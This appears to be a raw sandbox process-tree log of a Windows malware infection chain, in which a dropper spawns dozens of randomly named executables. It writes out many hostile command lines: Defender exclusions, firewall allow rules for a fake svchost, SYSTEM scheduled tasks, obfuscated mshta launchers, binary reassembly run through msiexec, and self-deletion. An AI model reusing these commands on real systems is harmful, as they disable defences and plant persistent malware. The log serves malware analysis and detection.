C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\sYJXs689YExTgnH_uiS212dh.exe" -Force3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\3685aee9-6311-4df5-a872-cfa856f23d5d\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\3685aee9-6311-4df5-a872-cfa856f23d5d\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\3685aee9-6311-4df5-a872-cfa856f23d5d\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵
-
C:\Users\Admin\AppData\Local\Temp\3685aee9-6311-4df5-a872-cfa856f23d5d\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\3685aee9-6311-4df5-a872-cfa856f23d5d\AdvancedRun.exe" /SpecialRun 4101d8 82965⤵
-
C:\Users\Admin\AppData\Local\Temp\703b8837-d536-4403-b8aa-53ae1bc523e2\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\703b8837-d536-4403-b8aa-53ae1bc523e2\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\703b8837-d536-4403-b8aa-53ae1bc523e2\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵
-
C:\Users\Admin\AppData\Local\Temp\703b8837-d536-4403-b8aa-53ae1bc523e2\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\703b8837-d536-4403-b8aa-53ae1bc523e2\AdvancedRun.exe" /SpecialRun 4101d8 89765⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\sYJXs689YExTgnH_uiS212dh.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\4l1dAvoTop9PPvbcabyAzemC.exe"C:\Users\Admin\Pictures\Adobe Films\4l1dAvoTop9PPvbcabyAzemC.exe"2⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe4⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\EE0gI2xEAMAKmwvRois3GTDg.exe"C:\Users\Admin\Pictures\Adobe Films\EE0gI2xEAMAKmwvRois3GTDg.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\EE0gI2xEAMAKmwvRois3GTDg.exe"C:\Users\Admin\Pictures\Adobe Films\EE0gI2xEAMAKmwvRois3GTDg.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\21aIgRtLD5GNzaImYu_jjb6V.exe"C:\Users\Admin\Pictures\Adobe Films\21aIgRtLD5GNzaImYu_jjb6V.exe"2⤵
-
C:\Users\Admin\Documents\duHKs1QFomrR1OTBzCdEs_lt.exe"C:\Users\Admin\Documents\duHKs1QFomrR1OTBzCdEs_lt.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\1KeXeFiLH2e6Y799xYGkN6iw.exe"C:\Users\Admin\Pictures\Adobe Films\1KeXeFiLH2e6Y799xYGkN6iw.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\rzqdGGPdQm2JjaFHI4970Xy5.exe"C:\Users\Admin\Pictures\Adobe Films\rzqdGGPdQm2JjaFHI4970Xy5.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\scLlS8InceNy2QCIyVj77i8j.exe"C:\Users\Admin\Pictures\Adobe Films\scLlS8InceNy2QCIyVj77i8j.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\UV01VERu7wEFTgOuK1vESfo0.exe"C:\Users\Admin\Pictures\Adobe Films\UV01VERu7wEFTgOuK1vESfo0.exe"4⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\UV01VERu7wEFTgOuK1vESfo0.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\UV01VERu7wEFTgOuK1vESfo0.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\UV01VERu7wEFTgOuK1vESfo0.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\UV01VERu7wEFTgOuK1vESfo0.exe" ) do taskkill -f -iM "%~NxM"6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "UV01VERu7wEFTgOuK1vESfo0.exe"7⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\s5nu0Xu3lSJSLbI7q8mahg0F.exe"C:\Users\Admin\Pictures\Adobe Films\s5nu0Xu3lSJSLbI7q8mahg0F.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\s5nu0Xu3lSJSLbI7q8mahg0F.exe"C:\Users\Admin\Pictures\Adobe Films\s5nu0Xu3lSJSLbI7q8mahg0F.exe" -u5⤵
-
C:\Users\Admin\Pictures\Adobe Films\bAIq1JbdLHRFSL310rrG9Idc.exe"C:\Users\Admin\Pictures\Adobe Films\bAIq1JbdLHRFSL310rrG9Idc.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\XThrXAINAIs5Xswb3QjbuJi9.exe"C:\Users\Admin\Pictures\Adobe Films\XThrXAINAIs5Xswb3QjbuJi9.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\w58D_cWHxx6cjnwNOZpl1TJN.exe"C:\Users\Admin\Pictures\Adobe Films\w58D_cWHxx6cjnwNOZpl1TJN.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-3LU96.tmp\w58D_cWHxx6cjnwNOZpl1TJN.tmp"C:\Users\Admin\AppData\Local\Temp\is-3LU96.tmp\w58D_cWHxx6cjnwNOZpl1TJN.tmp" /SL5="$40354,506127,422400,C:\Users\Admin\Pictures\Adobe Films\w58D_cWHxx6cjnwNOZpl1TJN.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-VJ2O6.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-VJ2O6.tmp\DYbALA.exe" /S /UID=27096⤵
-
C:\Users\Admin\AppData\Local\Temp\b6-858e2-15b-90da9-8c7b4b46810dd\Nemyjaliki.exe"C:\Users\Admin\AppData\Local\Temp\b6-858e2-15b-90da9-8c7b4b46810dd\Nemyjaliki.exe"7⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 21328⤵
-
C:\Users\Admin\AppData\Local\Temp\1f-15d15-2f9-330b0-bb4c597cd165e\Lylozhaejefe.exe"C:\Users\Admin\AppData\Local\Temp\1f-15d15-2f9-330b0-bb4c597cd165e\Lylozhaejefe.exe"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fn2bwbuo.oe1\GcleanerEU.exe /eufive & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\fn2bwbuo.oe1\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\fn2bwbuo.oe1\GcleanerEU.exe /eufive9⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\webn1lbm.mzh\installer.exe /qn CAMPAIGN="654" & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\webn1lbm.mzh\installer.exeC:\Users\Admin\AppData\Local\Temp\webn1lbm.mzh\installer.exe /qn CAMPAIGN="654"9⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\webn1lbm.mzh\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\webn1lbm.mzh\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1636129909 /qn CAMPAIGN=""654"" " CAMPAIGN="654"10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ormkntnk.bwg\any.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\ormkntnk.bwg\any.exeC:\Users\Admin\AppData\Local\Temp\ormkntnk.bwg\any.exe9⤵
-
C:\Users\Admin\AppData\Local\Temp\ormkntnk.bwg\any.exe"C:\Users\Admin\AppData\Local\Temp\ormkntnk.bwg\any.exe" -u10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fqfpqpto.cq4\gcleaner.exe /mixfive & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\fqfpqpto.cq4\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\fqfpqpto.cq4\gcleaner.exe /mixfive9⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ygwzjb24.5bq\autosubplayer.exe /S & exit8⤵
-
C:\Program Files\Windows Photo Viewer\KTBUWUZCOP\foldershare.exe"C:\Program Files\Windows Photo Viewer\KTBUWUZCOP\foldershare.exe" /VERYSILENT7⤵
-
C:\Users\Admin\Pictures\Adobe Films\H_YpPlanrEw8noFnmw8oIOjg.exe"C:\Users\Admin\Pictures\Adobe Films\H_YpPlanrEw8noFnmw8oIOjg.exe"4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\B2mhEgAl19ReIGRR4c6mOyGc.exe"C:\Users\Admin\Pictures\Adobe Films\B2mhEgAl19ReIGRR4c6mOyGc.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\B2mhEgAl19ReIGRR4c6mOyGc.exe"C:\Users\Admin\Pictures\Adobe Films\B2mhEgAl19ReIGRR4c6mOyGc.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\a_tWDbQm3Uv2fmsE5d5U4sQD.exe"C:\Users\Admin\Pictures\Adobe Films\a_tWDbQm3Uv2fmsE5d5U4sQD.exe"2⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\a_tWDbQm3Uv2fmsE5d5U4sQD.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\a_tWDbQm3Uv2fmsE5d5U4sQD.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\a_tWDbQm3Uv2fmsE5d5U4sQD.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\a_tWDbQm3Uv2fmsE5d5U4sQD.exe" ) do taskkill -im "%~NxK" -F4⤵
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP5⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F7⤵
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ( "WSCRIPt.SheLl" ). rUn ( "C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " , 0 , TruE ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "8⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"8⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\N3V4H8H.SXY8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "a_tWDbQm3Uv2fmsE5d5U4sQD.exe" -F5⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\2YAsKOs0goTyWKmJzpxmbkfB.exe"C:\Users\Admin\Pictures\Adobe Films\2YAsKOs0goTyWKmJzpxmbkfB.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\VvyrQZLsTZ4U3PaWAJrZ5Fy6.exe"C:\Users\Admin\Pictures\Adobe Films\VvyrQZLsTZ4U3PaWAJrZ5Fy6.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\hOsxPzqQPAuAFdCa9Tr8PZyu.exe"C:\Users\Admin\Pictures\Adobe Films\hOsxPzqQPAuAFdCa9Tr8PZyu.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\fG9aA2Q86jJgXHF2GP4huIx1.exe"C:\Users\Admin\Pictures\Adobe Films\fG9aA2Q86jJgXHF2GP4huIx1.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\4SHItqGECYKC30WB6F6Fcky_.exe"C:\Users\Admin\Pictures\Adobe Films\4SHItqGECYKC30WB6F6Fcky_.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=13⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"4⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1ec,0x1f0,0x1f4,0x1c8,0x1f8,0x7ffea288dec0,0x7ffea288ded0,0x7ffea288dee05⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1640,2369492560764103912,13155660513924663165,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1592_264182748" --mojo-platform-channel-handle=1656 /prefetch:85⤵
-
C:\Users\Admin\Pictures\Adobe Films\7V_zOvVIISR540EW62eneK_k.exe"C:\Users\Admin\Pictures\Adobe Films\7V_zOvVIISR540EW62eneK_k.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\7V_zOvVIISR540EW62eneK_k.exe"C:\Users\Admin\Pictures\Adobe Films\7V_zOvVIISR540EW62eneK_k.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\R577APKPttOjzwbIwzLm7qmA.exe"C:\Users\Admin\Pictures\Adobe Films\R577APKPttOjzwbIwzLm7qmA.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\sAOCFCAL2Dic9lIYrzbkT7Hq.exe"C:\Users\Admin\Pictures\Adobe Films\sAOCFCAL2Dic9lIYrzbkT7Hq.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \3⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM3⤵
- Creates scheduled task(s)
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal3⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \4⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵
-
C:\Users\Admin\Pictures\Adobe Films\S7wQi_aP3pDMV0clbGuCBL6T.exe"C:\Users\Admin\Pictures\Adobe Films\S7wQi_aP3pDMV0clbGuCBL6T.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\S7wQi_aP3pDMV0clbGuCBL6T.exe" & exit3⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 54⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Pictures\Adobe Films\_ZuwKE_WOyxTF93tF6redsY8.exe"C:\Users\Admin\Pictures\Adobe Films\_ZuwKE_WOyxTF93tF6redsY8.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\PkUEC2TfFNii_btRz4e2q0Xq.exe"C:\Users\Admin\Pictures\Adobe Films\PkUEC2TfFNii_btRz4e2q0Xq.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\6MCDEgFoC7ncTOlygdNFfbeK.exe"C:\Users\Admin\Pictures\Adobe Films\6MCDEgFoC7ncTOlygdNFfbeK.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\6MCDEgFoC7ncTOlygdNFfbeK.exe" & exit3⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 54⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Pictures\Adobe Films\d1T5iBPdt8eqJfN7hkb1LPcH.exe"C:\Users\Admin\Pictures\Adobe Films\d1T5iBPdt8eqJfN7hkb1LPcH.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\0hg7oyyS03knCYDr9hdOcstF.exe"C:\Users\Admin\Pictures\Adobe Films\0hg7oyyS03knCYDr9hdOcstF.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"3⤵
-
C:\Users\Admin\AppData\Local\4097530.exe"C:\Users\Admin\AppData\Local\4097530.exe"4⤵
-
C:\Users\Admin\AppData\Local\3637227.exe"C:\Users\Admin\AppData\Local\3637227.exe"4⤵
-
C:\Users\Admin\AppData\Local\1020955.exe"C:\Users\Admin\AppData\Local\1020955.exe"4⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\1020955.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\1020955.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\1020955.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\1020955.exe" ) do taskkill -f -Im "%~NXZ"6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "1020955.exe"7⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\3786147.exe"C:\Users\Admin\AppData\Local\3786147.exe"4⤵
-
C:\Users\Admin\AppData\Local\5835386.exe"C:\Users\Admin\AppData\Local\5835386.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"3⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"6⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\ZHps2zJxM5ypd0CQHQkCFVeP.exe"C:\Users\Admin\Pictures\Adobe Films\ZHps2zJxM5ypd0CQHQkCFVeP.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\aDVNVkuvEapugKtGrml1cRM0.exe"C:\Users\Admin\Pictures\Adobe Films\aDVNVkuvEapugKtGrml1cRM0.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\NP0oPc85LiwFKjSfKoMisfdg.exe"C:\Users\Admin\Pictures\Adobe Films\NP0oPc85LiwFKjSfKoMisfdg.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\0iZHroOjqqNStJe0AwcYig2e.exe"C:\Users\Admin\Pictures\Adobe Films\0iZHroOjqqNStJe0AwcYig2e.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exeC:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe3⤵
-
